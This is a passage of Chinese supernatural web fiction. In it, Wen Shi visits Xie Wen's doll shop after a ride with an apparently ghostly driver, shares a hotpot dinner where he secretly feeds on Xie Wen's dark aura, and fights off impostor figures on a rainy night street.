夏樵没敢多嘴,也没敢跑远,就缩在旁边默默刷手机。
过了好半天,他听见他闻哥纡尊降贵地问:“谢问有动静么?”
夏樵:“嗯???”
闻时皱了一下眉:“他不是说要租房子搬家?”
谢问从那天下山之后就没了音讯,仿佛人间蒸发,房子的事也再没过问。让人觉得有点奇怪……
当然,主要是闻时觉得奇怪。
毕竟两天半在夏樵的概念里还挺短的,一晃就过,两天半不联系根本不是什么问题。
但他不敢这么跟闻时说,因为他觉得他闻哥可能饿疯了。
“那我……联系一下?”夏樵问。
闻时未置可否。
就在夏樵翻找号码的时候,他忽然开口:“西屏园在哪?你认识路么?”
夏樵眨了眨眼:“昂,认识。”
干嘛?你要上门吃人啊?
14. 留客
夏樵发现,他闻哥是个很干脆的人。
就是有点过于干脆,他上一秒刚说“认识路”,下一秒闻时就往门口走了。
“等等等等!”夏樵忙不迭往卧室跑,三下五除二换了件连帽卫衣,还拎了件码大的给闻时:“今天降温,我刚刚去院子里浇花,还挺凉的,你穿这个吧。”
闻时瞥了一眼说:“不用。”
他皮肤白,穿着一件浅灰色的短袖T恤,有事没事还喜欢把右边袖子撸到肩,露出来的手臂线条非常好看。
帅是很帅,但是……
“你真的不冷么?”夏樵认真地问。
“不冷,我热。”闻时把手里喝空的可乐罐捏了,丢进垃圾桶,又去冰箱摸了一盒冻过的牛奶,拆了问:“你究竟走不走?”
“……”
看得出来,是很燥了。
“走走走。”夏樵把衣服往沙发上一扔,抓着手机就出了门。
天气并不是很好,阴沉沉的,远处已经滚起了黑云,有要下雨的架势。
闻时眯起眼,朝那边望了一眼:“走过去要多久?”
“走???”夏樵吓一跳,连忙举了举手机说:“不用,我叫了车,司机已经往这边来了。”
又是一个超出范围的知识点。闻时没表露在脸上,假装接受良好。
夏樵倒是十分自觉,把手机屏幕上供给他——
闻时看到上面有张地图,一辆小车沿着地图龟速挪动。结果刚挪没两下,就停住不走了。
闻时正纳闷,屏幕上跳出一句提示,订单已结束。
夏樵本想让这位大爷感受一下现代社会的方便,没想到来了这么一出。
闻时指着提示,动了动嘴唇:“什么意思?”
夏樵:“……放我们鸽子的意思。”
“这司机也太没谱了吧!说取消就取消。”夏樵咕哝着,“闻哥你等一下,我重叫一辆。”
谁知这位司机更快,刚接单就直接飞了。
夏樵:“???”
他连续叫了四辆,四辆都被取消了订单,然后就迟迟叫不到新车了。
“有毒吧。”夏樵捧着手机一头雾水,“今天干嘛了,不宜出门?”
眼看着黑云越滚越近,有小雨点开始往下漏,他们的订单终于被接了。
这次司机没再取消,离得也不算远。很快,车便停在了名华府大门口。
闻时把空了的牛奶盒扔进垃圾箱,弓身钻进了车后座。
司机是个圆脸的中年女人,长得很和善,颊边有颗痣。她从后视镜里看了闻时一眼,调侃说:“嚯,年轻就是体格好,这天穿短袖啊?”
闻时脾气不算好,也不爱搭理陌生人,碰到这种自来熟的,都是听听就过。
夏樵知道他这性格,生怕冷场。他刚要接司机的话,就听见闻时应了一句:“不算冷。”
夏樵当即有点惊。
“干什么?”闻时余光瞥到了夏樵的傻样。
“没。”夏樵把瞪圆的眼睛收回去,又小声道:“就是有点意外,我以为你会不理人家。”
闻时睨了他一眼,过了片刻答道:“面善。”
圆脸司机听到了这句,当即笑起来:“是说我么?我长了张大众脸,好多人都说挺眼熟的。”
闻时灰色的T恤上有深色的雨点,她看见了,便问道:“你们是兄弟俩呀?下雨天出门都不带伞吗?这雨肯定要越下越大的。”
夏樵委委屈屈地说:“我们出来的时候还没下呢。”
“那么早出来等?”
“哎,别提了。今天运气不好,叫了四辆车,四辆都被取消订单。”夏樵抱怨。
“哦。”司机了然,“那还真不是你们运气不好,这几天大家都不想跑那边的单。”
“为什么啊?”
“邪门啊。”
闻时原本看着窗外,听到这句,又把目光转了回来。
“邪门?什么意思?”夏樵问。
“你们最近没看地方论坛么?”
闻时看向夏樵,夏樵一脸惭愧:“呃……看得少。”
司机笑起来,解围道:“也是,地方消息看得都不多。我们是因为开车太闷了,没事就听广播,所以知道得多一点。”
她也没卖关子,趁着路上没事,给闻时他们讲了起来:“往西屏园那边去有条必经的路,叫望泉路。以前有外地的开发商过来,看那边地段还不错,想弄个城中富人区,叫望泉公馆。”
“哦,这个知道。路过见过,房子挺漂亮的,就是没什么人住,跟我们名华府还挺像。”夏樵说。
“那不一样。”司机笑说,“名华府是周边规划问题,望泉公馆是没人愿意住,你问问宁州当地的老人就知道了,都说那边房子不好。”
“听说过。”夏樵一副明白的样子。
倒是闻时有些疑惑:“为什么不好?”
夏樵还没开口,司机就笑了:“帅哥不是本地人吧?我们宁州方言里,王啊、望啊,都和黄是一个读音。”
望和黄?
那望泉路不就是?
闻时:“……”
他默然片刻,说:“取名的人是个宝。”
司机哈哈笑起来:“还有更宝的呢。那边地段挺好的,附近还有地铁站,有些投资商就不信邪,非要把那边弄得热闹起来,搞过步行街、洋房店铺、花样挺多的,后来都因为生意太差,不了了之了。然后前两年吧,又来一个冤大头,在那边建了个综合商场,有吃有喝有电影院那种。你猜叫什么?”
闻时:“什么?”
司机:“望泉万古城。”
闻时:“……”
瑰宝级的,还挺宏大。
“后来热闹了么?”他问。
“没有。”司机哎了一声,“断断续续,建到今年年初才正式竣工开业,起初还有人去凑热闹,后来就少了。那边特别邪性,总有人说看见了些不该看见的东西。”
“那商场到现在还没关啊?”夏樵问。
“没啊,那边租金低,东西卖得便宜,有些现在很难找的手工店在里面,还是有人去。”
“哦。”
“这么听着好像也没什么,但说实话,开车从那边过,是有点怵。”司机师傅说,“昨天吧,我们这个微信群里有人在那边被吓到了,说得挺玄乎的,所以今天大家都不太愿意往那边跑。”
“怪不得。”夏樵想了想说,“那您胆子还挺大的。”
司机无奈道:“嗨,我是习惯了,我家就住那边附近,整天来来去去的,也不能因为这点事就不接活呀。”
***
“里面不让停车,我在这边放你们下来。”圆脸司机在路口靠边停下,看着外面变大的雨,又给闻时递了把伞:“得走一小段路呢,你们把伞拿着吧。”
夏樵默默看闻时:“那个,这怎么好意思?我们跑一下就到了。”
“拿着吧。”司机笑着说,“用不着不好意思,我这伞多呢。”
“真不用。”夏樵还是不好意思拿人东西。
他正推拒着,一只瘦长白净的手伸过来,坦然地把伞接了过去。
“谢谢。”闻时说。
“哎,这就对嘛!”司机笑了。
闻时先行下了车,撑开伞,催促说:“别磨蹭。”
夏樵这才急忙跟下去。
雨很大,地面都起了雾。车子拐了个弯,很快消失在雾里。
闻时收回视线,问夏樵:“西屏园在哪?”
夏樵对照着手机地图看了一眼,之前右边说:“这条路进去,门脸古色古香那个就是。”
这一条街都延续了望泉路的风格,几乎全是小洋楼,谢问的西屏园在里面显得非常特别,一眼就能认出来。
临到进门前,夏樵试探着问:“闻哥,一会儿见到他,你打算说什么呀?”
难不成说“请问你什么时候掏钱租我们的房子”?
这好像有点莽撞,还有点尴尬。
但不说这个,该说什么呢?他们跟谢问只是一起进过笼,说生疏不至于,但也没熟到什么份上。
夏樵不太放心闻时,总觉得以他的性格,张口就说“我饿了”也不是没可能。
那多吓人。
闻时果然道:“没想,再说吧。”
夏樵很慌。
西屏园的布置像个古董文玩店,但店里只有人偶,西式的、中式的,皮影、木偶、陶人应有尽有,齐齐整整码了好几个柜子。
一个梳着髻的小个子中年人坐在柜台里打瞌睡,脸很福相,看不出是大爷还是大妈。
还有两个长相很娇俏的姑娘坐在一边嗑瓜子聊天。
闻时进门的时候,那两个姑娘一起转过脸来,动作统一地说:“哎,活人。”
夏
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樵吓得当场退了出去,俩姑娘又嘻嘻哈哈笑起来。
“老毛,来客人了。”俩姑娘叫道。
那个梳着髻的中年人猛地惊醒,打着哈欠看过来。看到闻时的时候,他微微愣了一下。
闻时把伞收了,在门外甩了甩水,说:“这是谢问的店么?”
老毛这才回神,点头道:“啊,对,是他的店。”
“他人呢?”闻时扫了一圈。
“他人……不在。”老毛打了个磕巴。
闻时盯着他:“那他在哪?”
“有事。”老毛说。
闻时拧着眉:“他大前天明明跟我说这几天店里有事,赶着回来坐镇。”
老毛:“……”
老毛:“他……镇外面去了。”
这人一看就不是说谎的材料,每说一句话,那绿豆似的眼睛就总往角落的小门瞄。
瞎子都看得出来。
闻时把伞搁在门口架子上,抬脚就往小门的方向走。
“哎,那边是卫生间。”老毛急忙说。
“哦,借用一下,谢谢。”闻时说。
刚走到门边,闻时就听见了里面闷闷的咳嗽声,下一秒,那门便从里面开了,露出谢问苍白的脸。
这里显然不是什么卫生间,应该是个可以休息的后屋。闻时隐约能闻到里面传来的浅淡香味,还煮了什么东西,热得很。
谢问从里面出来,背手掩上了门。
他似乎有些冷,窝在那么热的屋里,还长袖长裤穿得一丝不苟、严严实实。
“你怎么找人还这么凶?”谢问又咳了几声,问道。
“那你躲什么?”闻时朝磕磕巴巴的老毛看了一眼,皱着眉纳闷道,“我又不是来要债的。”
“没躲你,就是这两天太冷了不想出来,就交代他们谁问都说不在。”谢问又转头咳了几声。
闻时这才发现他两只手都带着手套,那种薄薄的黑色绸布,一直裹到手腕,只有动作间才能看到一点腕间的皮肤,被手套对比得更加苍白。
“我也不是算命的,哪知道你会来。”谢问倚着门框问,“你来店里是有什么事?”
可能是离得近的缘故,即便没闭上眼,没看灵相。闻时依然能感觉到他身上不断涌动的煞气。
他冷着脸,飞快舔了一下唇角,转头冲夏樵一抬下巴说:“他来买娃娃。”
夏樵:“???”
我……
夏樵木着一张脸,点了点头说:“昂,我要买娃娃。”
“顺便问你房子还租不租。”闻时又说,“不租我们挂新的了。”
谢问垂着眸子不知在想什么。他静了一秒,才点头道:“租,周六吧,后天。后天你们能空出时间么?”
闻时算了算,也就两天的功夫,还算快。于是转头看夏樵。
夏樵心说这时候又来问我了,好像我能做主似的。他硬着头皮点了点说:“嗯,有时间。”
闻时又舔了一下唇角,感觉自己大概脑子坏了才会跑这一趟。
他本来是打着商量的意思,来找面前这位满汉全席。谁想到店里这么多人,他反倒不方便开口了。
于是他捏了捏指骨,转身说:“就这事,我们走了。”
夏樵顺势拿起架子上的伞,这才想起来……说好的买娃娃呢?能不能尊重一下借口。
就在他也准备走的时候,那对双胞胎姑娘忽然指着伞说:“这是哪里来的?”
“哦。”夏樵说,“别人给的,怎么啦?”
其中一个姑娘说:“这边之前一直有个传言。”
夏樵:“什么传言?”
“说下雨天往这边来,会碰到一个很奇怪的司机,长着圆圆脸,特别热情。然后临下车,总会送人一把伞。”
小姑娘嗓音轻飘飘的,听得夏樵毛骨悚然。
“然后呢?”
“没拿伞的话,生个病感冒两天就没事了。”小姑娘说,“拿伞的话……就会去见她。”
夏樵:“……”
闻时走过来的时候,就看到夏樵后背贴着门,魂已经去了一半了。他没好气地抓过伞,正准备往外走,忽然听见谢问的声音到了身边。
他带着手套的手指很轻地碰了闻时一下,一触即收:“一会儿有事么?”
闻时转头看着他。
“在这吃点东西再走吧,晚点我送你。”
15. 进食
西屏园其实有两层,但构造很奇怪。
一般这种双层的商铺,一楼是店面,二楼要么住人、要么当仓库。也有些穷讲究的,会弄个特别风雅的接待室。
但西屏园不这样。
它的二楼……主要用来吃饭。
为什么说主要?因为它还像个小型植物园——
西北角有一棵贴墙生长的树,品种看不出来,是死是活也很难分辨,光秃秃的,高度刚巧抵到屋顶。枝丫就贴着墙与墙的交线蜿蜒交错。
树枝上还装模作样地挂了个空鸟架。
树底下有一片人工景,两只小王八在浅水池里划拉着,除此以外,到处是乱石和新鲜花草,还有几个不知什么玩意儿呆的窝。
那个吃饭用的四方桌就搁在花草中间,十分……不伦不类。
老毛在桌上放了一只大铜锅,往里填了炭,一锅浓稠奶白的高汤就这么咕嘟咕嘟地沸着,白雾带着香味弥散开来。
锅里滚着薄而鲜嫩的羊肉,纹理间能溢出汁来。
旁边一个小巧的炉子上还热着酒,度数不知道,但劲挺大的。
反正闻时一口没喝,就已经醉了——
临到夏天,他穿着短袖,坐在铺着热风的屋里,对着一桌滋补暖身的东西,肚子咕咕叫。
他图什么?
可能是他的表情太过木然吧,知道内情的夏樵还挺心疼。
其实在夏樵的认知里,判官也是正常吃饭的,比如沈桥,比如他见过的、听过的各种人。
像闻时这样不吃人饭的异类,还是独一份。也许还是跟他不死不活的情况有关吧。
夏樵看了一会儿,忍不住小声问:“闻哥你还好吧?”
“你说呢。”闻时握着筷子也没看他,过了两秒反省似的闭了一下眼,低声自我讥讽:“我真是脑子坏了。”
谢问留他吃饭,他怎么就想不开点头了呢?
这下好了,全靠自制力。
他看着夏樵满碗的肉,幽幽问:“好吃么?”
“……”
夏樵不敢说话。
对他而言,这一顿是真的不错。谢问这些店员不知从哪里弄来的肉菜、又鲜又嫩,酱汁也特别香,手艺真的没话说。
而且今天又是大雨、又是降温的,他正觉得冷呢,吃点热乎的刚刚好,实在没法跟这位姓闻的祖宗感同身受,只能劝慰。
“要不闻哥你意思意思,吃两口试试?”夏樵趁着老毛他们大快朵颐,悄声说,“垫一垫也是好的,聊胜于无。这种铜锅涮肉你吃过吗?它——”
“吃过。”闻时打断道,“吃过不少回。”
这话在常人听来没有任何问题。毕竟闻时看起来是个二十五六岁的青年,没吃过才比较奇怪。
但谢问却投来了讶异的目光,就好像他知道闻时刚来人世没几天。
“看我干什么?”闻时注意到的时候,谢问目光里的讶异已经淡了。
“这是个好问题,得你先看我,才能知道我在看你。”谢问不慌不忙地倒了一杯热烫的酒,也不喝,只是握着酒杯,像在感受杯子里的温度:“要不你先说说为什么看我?”
闻时:“……”
滚。
谢问笑着揭过这个话题,又说:“你在哪吃过这个?”
闻时原本不想搭理他,但过了一会儿还是蹦出一句:“以前在北京。”
那时候还叫北平。
“哦。”谢问若有所思,片刻后点了点头,又指着闻时空空的瓷碟:“那你是现在不爱吃了,还是他们汤吊得太难吃了,你下不了筷子?”
老毛和那对双胞胎姑娘顿时抬起头,无辜地看过来。
可能是下属都怕老板吧,反正这仨很惶恐。
闻时觉得莫名奇妙。他在齐刷刷的盯视中沉默两秒,伸筷夹了一片羊肉。
老毛又松了口气,继续狼吞虎咽起来。他吃东西几乎不嚼,囫囵下肚,显得格外香,看得人特别有食欲。
夏樵当场跟着吃了两块肉。
闻时……
闻时要疯了。
但他脸上一点都没表现出来,反倒显得特别冷淡。他没滋没味地把肉咽了,为了转移注意力,顺口冲谢问说:“你也没吃几口。”
“还行。”谢问说,“我喜欢烫一点的东西,但对这种兴趣一般。”
“你不喜欢他们还弄这个?”闻时一脸古怪。
“习惯吧。”谢问说。
他瞥见闻时疑问的表情,想了想补充道:“我以前领过一个——”
他顿了一下,似乎在斟酌用词。
闻时看了他一眼,他才继续道:“领过一个小孩儿回来,他比较馋这些。”
“那他人呢?”闻时又问。
“不在了。”谢问没抬眼,握着杯子说,“很久以前的事了。”
闻时依然觉得奇怪,既然是很久以前的事了,怎么现在还能叫习惯?中间那些年你们不过日子么?
他还想开口,老毛又拿漏勺舀了一大碗,吃得特别香,唏哩呼噜的声音想忽略都忽略不掉。
闻时:“……”
他肚子悄悄响应一声,终于坐不住了。
“洗手池在哪?”闻时绷着脸冷静了一下,搁了筷子问。
“那边。”谢问指着东侧一条短廊说,“怎么了?”
“沾到酱了。”闻时随口编了个理由,起身往短廊走。
短廊背面有个单独的洗手池,他弓身撑在水池前,往脸上泼了两把冷水,饿昏头的感觉总算缓了一些。
刚站直身体,他就感觉有风从侧面钻进来。闻时转头一看,发现二楼短廊连着后门,门虚掩着,风就是从那里溜进来的,裹着雨水湿气和另一种……难以形容的怪味。
很淡,也不难闻,但有一点熟悉。
闻时有些纳闷,走过去开了门。
门外是一道铁质的楼梯,连接着这片商业街的后身。
西屏园的后门很干净,也很荒,正对着长长的围墙。围墙里就是望泉公馆的人造湖景和小竹林。
雨很大,那股味道藏在雨水中,一会儿有,一会儿无。闻时扶着楼梯栏杆嗅了一会儿,终于认出来——
那是惠姑的味道。
沈桥下葬的前一晚,那三个吹鼓手变成的惠姑被他弄死了一个,跑了俩。他在跑掉的惠姑身上留了追踪的东西,结果追到了西屏园。
其实今天主动来西屏园,也有这个目的。
他刚进店的时候就悄悄注意了一番,但没找到任何踪迹,没想到在后门。
闻时强打精神,凝气阖眼,面前的景象便幽静起来,一条细细如水痕的踪迹蜿蜒到了围墙边,又滑进了望泉公馆,之后便浅淡得难以找寻了。
所以其实跟谢问无关,而是望泉公馆?
闻时没撑几秒就睁开眼,皱着眉思索起来。
直到身后的门吱呀响了一声。
“你干嘛傻站在外面?”谢问的声音响起来。
闻时:“……”
为什么会有追着他跑的食物。
“看雨停了没。”闻时转身进了短廊。
他手上沾了栏杆的锈,只得再去水池边洗一遍。
谢问也似乎刚洗过手。他不急着回桌边,只是把门关上,越过闻时抽了张擦手纸。
动作带起一抹很轻的风,明明什么也没有,闻时却感觉那股浓重的煞气把自己围在其中。
他洗手的动作顿了一下,垂着的眸子很轻地闭了一下。
相较于餐桌边,这里狭窄而安静。也许就是太安静的缘故,那些无形无影的东西存在感便格外强烈。<
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闻时撩起眼皮,从镜子里看了谢问一眼,看到对方靠在他身后的墙上,一丝不苟地把手套戴上,似乎在等他。
“你看见过自己的灵相么?”闻时忽然开口。
“嗯?”谢问拽了一下手套边缘,抬眸道:“什么意思?”
并不是所有判官都能轻易看到别人的灵相,他们更多的是一种感觉。比如一见夏樵就觉得他很干净,见到谢问就觉得他业障太重,越是极端越是容易被感知。
要想真正看到灵相是什么样,他们得费一番功夫,借助别的手段。
像闻时这样的,凤毛麟角。
“算了。”一时冲动过去,闻时垂眼抽了一张擦手纸,正想说“当我没说”,就听见谢问低低“哦”了一声:“你是说我灵相上那些业障和煞气吗?见过。”
“为什么突然问这个?”
他隔着镜子看向闻时,嗓音低低沉沉的,带着一丝咳嗽导致的沙哑。
可能还是因为周围太过安静吧,这句话在闻时听来,居然有种莫名的蛊惑力。
他依然背对着谢问站在水池前,把擦完的纸扔掉,又垂眸静了片刻,忽然问道:“如果我说,我能帮你消融一点呢?”
这次谢问是真的愣了一下。
他看了闻时很久,说:“你知道动一个普通人身上的东西,需要什么吗?”
当过判官的人都知道,对于已经成笼的人来说,四散的黑雾是一种发泄和解脱,只要解笼的人足够强,就可以把那些都消融掉。
但一个好好的正常人,要动他身上的东西就没那么简单了,这事真没什么人研究过。
一来,别人吃饭就能饱,不拿这种东西当食物。
这一条就筛掉了闻时以外99%的人。
二来,闻时以前屯了很多东西,根本不愁吃。
于是连他也不知道。
闻时被问住了,但越来越重的饥饿感让他想不出什么答案,只有一丝微妙的烦躁。
他垂着的手一下一下捏着骨节,没吭声,正想说:“那就这样吧。”
却听见谢问说:“算了,你试试吧。”
闻时抬起眼:“你说真的?”
谢问站直身体,让开两只手,笑得有点无奈:“怎么弄?跟我说个流程,要闭眼么?”
闻时终于转过身来面对他:“不用。”
“你不用做什么。”闻时阖上眼说:“我来。”
那一瞬间,谢问魑魅妖邪般的灵相出现在他“眼”里,黑气腾然冲天,像盘结蜿蜒的群蟒。
明明是最煞的相,却安静站在他面前。距离不过咫尺,近到闻时自己都被围裹在其中。
闻时试着伸出手,他轮廓轻虚的手指勾住了其中一袅黑雾。
时间仿佛忽然静止,下一秒,黑雾忽然放肆恣意起来,顺着指尖涌进他的身体。
那是一种很难描述的感觉……
烧心的饥饿被缓缓压下去,但另一股奇怪的情绪却翻了上来。
不知道为什么,他忽然觉得有点难过。
闻时手指蜷缩了一下,猛地抽了回来。
他睁开眼,蹙着眉尖抬起头,发现谢问半垂着目光,始终在看他。
“老板——”老毛的声音从短廊另一端传来,“有人找!”
闻时从怔然中回神,撤了一步,侧身给他让出路来,“店员叫你。”
“你还好么?”谢问朝那边掠了一眼,对闻时说。
“没事。”闻时说。
之前的难过似乎只是刹那间,浮光掠影,转瞬便没了。
以至于他自己都想不起来刚刚是怎么回事了,浑身只剩下一种感觉,还不小心说了出来。
他说:“饱了,谢谢。”
谢问:“……”
谢问:“?”
16. 夜路
这个嘴瓢十分尴尬。
闻时当然不打算跟人交代自己的来龙去脉,只得祈祷谢问是个空有长相的绣花枕头,听不懂他这句嘴瓢。
结果绣花枕头说话了:“刚刚那一大锅东西你不碰,你吃这个?”
闻时:“……”
你怎么这么聪明呢……
他不是那种弯弯绕绕的性子,一时间也找不到话来圆,只能瘫着脸跟谢问对峙,企图以眼神退敌军。
可是敌军不退反进:“什么时候变成这样的?”
闻时决定投降,他感觉谢问克他。
“有一阵子了。”他说。
其实很早以前,他是能正常吃饭的。这种正常状态持续了很久,直到他上一次从无相门出来,才慢慢发生变化。
沈桥眼睁睁看着他从爱吃东西、尤其爱吃甜食变成了什么都不想吃。
还好这个过程是逐步的,他来得及准备,也没被旁人发现。
这次再从无相门里出来,他不仅没了存货,状态还更糟糕,终于有点遮掩不住了。
看,这不就被食物本人觉察了么。
食物还皱起了眉……
虽然认识不久,但谢问总是笑吟吟的样子,这样皱着眉还是第一次,闻时有点摸不准他的意思。
但以正常人的心理来看,有人把自己当吃的,估计不是惊吓就是排斥吧,反正不会是惊喜。
闻时不太在意这个,只是忽然有些索然无味。
他转开视线,朝短廊外看了一眼。老毛扒着墙在那边探头探脑,一副想催又不敢催的样子。
“你店员在等你。”闻时顺手一指,没等谢问开口,自己先出来了。
“出来了。”
“可算出来了。”
双胞胎姑娘跟复读机一样,脆生生地一唱一和。
她们不知什么时候换了座位,一人一边把夏樵夹在中间。
夏樵抓着筷子眼巴巴看着闻时,一副弱小无助的模样:“闻哥。”
“再吃点吧。”
“是啊,再吃点。”
那俩姑娘指着铜锅对闻时说。
“不用,我饱了。”闻时说。
“你饱了?”夏樵就很震惊,他消化了闻时的意思,伸着脖子朝短廊里看。
那架势,好像闻时是专吸书生精气的妖怪似的。明明看举止气质,谢问才更像那个妖怪。
“你吃完了没?”闻时拍了他后背一下,不咸不淡道:“吃完走了。”
“这就走啦?”
“要不你别走了,扣在店里给我们帮忙吧。”
那俩姑娘又开始逗夏樵,夏樵忙不迭退让出来,嘴上说着“谢谢谢谢,吃得特别满足”,身体却诚实地缩在闻时后面,跟着他哥下了楼。
双胞胎有点人来疯,刚刚还叽叽喳喳十分吵闹,这会儿又歇下来。
其中一个舀了勺汤喝下肚,咂咂嘴小声说:“他变化好大啊。我还以为我们手艺变糟了。可是这味道明明挺好的,他怎么现在一点都不吃了?”
老毛也叹气。他个子矮,肚皮圆,往那一腆就像个秃毛八哥:“不是说了嘛,老板那天找到他发现他丢了灵相。灵相都没了,总要有点变化吧。”
“灵相怎么会丢呢?”
“那上哪儿知道呢。”老毛又叹一口气,“咱们被封了多少年没见天日了,这才出来多久。”
“会不会是当年——”
老毛“啧”了一声打断她,又比了个嘘,好像她口中的当年是个禁忌。
双胞胎这时候倒是听话,没再多说,嗓音还压得更低了,“所以老板要搬过去,是想帮他找灵相?”
老毛点头:“是吧。”
“找灵相应该也用不了多久,然后呢?”
“然后?然后就该走了呀。”老毛揣着手,像个不知多少岁的老夫子,“老板的事也办得差不多了,本来不就是临走前去看他一眼?”
双胞胎欲言又止,最后唏嘘道:“就不再管啦?”
老毛一脸“你在做什么梦”的表情,说:“无挂无碍你当说说的?修的不就这个么。万一走偏一点,那可就……”
他正叨叨着,忽然看见双胞胎冲他挤眉弄眼。他愣了一下,转头一看,发现谢问就站在他后面,长而好看的眸子半垂着看他。
老毛吓一跳,差点扑棱起来。
好在谢问虽然听到了他刚刚那番厥词,却没说什么,也许是默认,也许是懒得评价。
他只是扫过那一桌狼藉,说“谁吃得多谁收了吧”,便往楼下走去。
老毛委委屈屈“嗳”了一声。
***
西屏园一楼店面关了半个,只留了柜台里的一盏灯。
闻时下来的时候,看到一个女人裹着薄风衣站在那里。身上有明显的湿痕,大概来的时候没有带伞,显得有点狼狈。
她听见脚步声,转过头来,看到闻时和夏樵的时候愣了一下。
夏樵比她还愣:“诶?是您啊。”
闻时不太记人,只觉得她眼熟。直到夏樵叫了句“张阿姨”,他才想起来这人去吊唁过沈桥,好像叫张碧灵。
本来沈桥下葬那天她也要去,后来临时有事耽搁,便没去成。
闻时对她名谱图上的排位倒是印象挺深,因为他传下去的这一脉沉在倒数第一,张碧灵就在倒数第二。
可以说是难兄难弟。
“你们怎么在这里?”张碧灵看到他俩也很意外。
“来——”夏樵尊重了一下之前的借口,说:“想买东西,来朋、朋友店里逛逛,顺便吃了个饭。”
“朋友?”张碧灵更意外了,“你说的朋友是?”
“额……就是这的老板。”夏樵硬着头皮说。
一起入过笼,一起吃过晚饭,还即将一起住,怎么也该算是朋友了。但夏樵就是觉得把谢问归为朋友很心虚。
“你们跟谢问认识?”张碧灵说。
夏樵只能“昂”了一声。
闻时补充道:“刚认识不久。”
“哦哦。”张碧灵点点头,“怪不得,之前来这边没见过你们。”
“您也认识谢问啊?”
夏樵问完就发现自己说了句蠢话。
张碧灵和谢问虽然不同姓,但都算张家的旁支,认识也不稀奇。更何况他们处境还差不多,一个被除名,一个排名垫底,都属于无人问津的那种,没准还有点惺惺相惜。
不过,很快夏樵就发现,他们离惺惺相惜还远得很。因为谢问下楼后,张碧灵跟他说话的状态并不熟稔。
先客气了一番才进入主题。
“你是来拿东西的?”谢问说,“那我得让老毛找找。”
“不是。”张碧灵摆摆手说,“都是些不要紧的东西,没什么。我本来是见下雨,又刚巧路过这边,来看看,想找你帮个小忙。有客人的话,我就不多呆了。你们继续聊,我下次有空再来。”
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她把单肩包往上掖了掖,冲众人打了招呼便离开了。她行色匆匆,转眼便没了踪影,叫都来不及叫回来。
这一出弄得众人一头雾水,直到老毛拎着垃圾袋下楼,他们才回过神来。
闻时没打算久呆,他说了句“我们也走了”,便走到门边,想拿上那把黑伞。
谁知架子上空空如也,只有一片湿漉漉的水痕。
闻时愣了一下:“伞呢?”
夏樵跟着叫起来:“对啊,伞呢?”
他被双胞胎吓过一回,总觉得那把黑伞有问题,根本不想撑着它回去。但不撑是一回事,凭空消失是另一回事。
本来那伞就够诡异了,这么一闹,他更觉得毛骨悚然。
门外忽然起了一阵风,带着轻飘飘的雨水斜飞进来,擦着脖子而过,就像有什么东西贴着那里轻轻吹了一下。
夏樵当即一哆嗦,起了半身鸡皮疙瘩,条件反射抓住了闻时的胳膊。
闻时正想槽他,余光看见一把格纹伞在旁边抖开来。
“你拿这把。”谢问的嗓音响起来。
闻时接了伞转过头,就见谢问自己撑开了另一把伞说:“走吧,我送你们。”
“不用。”闻时说。
“要的。”门口风有点冷,他加了件外套又立起领子,还是虚握着拳咳了两声,劝道:“这边夜路你肯定没走过,走一回你就知道了。”
闻时:“……我胆子很大。”
“知道。”谢问戴着手套的手还抵在鼻尖,眼睛在夜色里弯起来,“你不用这么强调,有眼睛都看得出来。但是像他这种胆子的——”
他指了指夏樵,说:“两个人没用,得组个团。”
“……”
闻时心说我组团也不用拉病秧子来凑数,这么大风万一吹出病来,算谁的?
结果谢问已经扶着他的肩,连哄带推地示意他别犟着了,赶紧撑伞。
闻时其实有点纳闷,他想说“你知道我拿什么东西当食物,你不害怕?”但又觉得这话问出来有些矫情,便没再开口。
西屏园外的这条街确实有些诡异,也许是生意冷清的缘故,还不到晚上8点,两边的店铺就关完了。
那些店面并不讲究,不知多久没打扫过,窗上蒙着厚厚的灰,雨一淋,就流下一道一道水印,像被划花的脸。
店里的东西影影绰绰,看不清轮廓。有时猛一晃眼,总觉得有人直挺挺地站在漆黑的店里。
整条街居然没有路灯,只有西屏园的一点灯光,远远落在身后,被雨笼罩着,雾蒙蒙的,有点老旧。
这里不让车进来,必须得走到望泉路和这条街的交叉口。
夏樵估计吓得够呛,一路都不敢说话。因为这街上说话会有回音,乍一听就像有人跟在后面叹气似的。
他只能亦步亦趋地跟着,存在感小到只有脚步声。
街边垃圾桶附近忽然窜过一只黑影。闻时朝那边看了一眼,应该是只野猫,嘶哑地叫了一声,便顺着围墙翻进了望泉公馆里。
“拐个弯就是望泉路了。”谢问的声音在雨里不甚清晰。
“嗯。”闻时应了一声。
他感觉谢问拍了拍他的肩,手指不小心碰到了他颈侧的皮肤,可能是生病的缘故,触感凉得惊心。
又过了一秒,他忽然想起来,谢问是带着手套的,根本不可能是这种触感。
……
那拍他的是谁?
17. 翻车
闻时回过头,看到谢问一手举着伞,一手插在兜里。
他伞沿压得很低,挡着斜雨,只露出清瘦好看的下颔。
“你刚刚拍我了?”闻时问。
“我?”谢问脚步没停,却愣了一下,“没有,有人拍你?”
“谁知道是不是人。”闻时讥嘲道。
这话把夏樵吓一跳,他一把抓住闻时的胳膊,声如蚊呐:“什么意思?有东西跟着我们吗?”
闻时:“不是。”
他刚好走到长街与望泉路的交叉口,这里立着唯一一盏路灯,灯泡蒙着尘,连光都是灰扑扑的。
夏樵还在抖,他吊在闻时胳膊上,越抓越紧:“不是?为什么说不是?”
谢问也好奇地探过来。
“因为不是跟着我们——”闻时垂眸看着地面,三个人并行,却只有他一个人有影子,“是跟着我。”
“……”
“夏樵”和“谢问”猛地刹步。
闻时脚下一转,抡起伞就甩向两人!
他动作又戾又凶,甩过去甚至能听到风声。
“夏樵”和“谢问”被扫得退让两步,正要再扑。就见闻时从牛仔裤口袋里摸出了一团棉线。
手指灵活地一勾一扯,那团看似凌乱的线便飞快绕在他左手五指间。下一秒,线甩了出去。
那一端明明是空的,却像坠了千斤,带着猎猎风声在那两个冒牌货身上缠缚几圈,又落回到闻时右手。
他微偏着头,肩窝夹着雨伞,绷着劲瘦的十指朝两边一扯,棉线瞬间收紧,死死勒住缠在中心的两个“人”。
它们扭曲着无声尖叫,然后“噗”地散成一片水雾,再没踪影。
闻时直起脖子,重新握住伞柄。
雨依然下个不停,刚刚那一瞬间的紧绷就像个突如起来的插曲,但是闻时知道,他又进了某个人的笼。
他四下看了一圈,隐约看到了望泉路中段有灯光。没弄错的话,那就是望泉万古城了。
闻时打着伞一边朝那处走,一边低头把手指上缠绕的棉线咬扯下来。
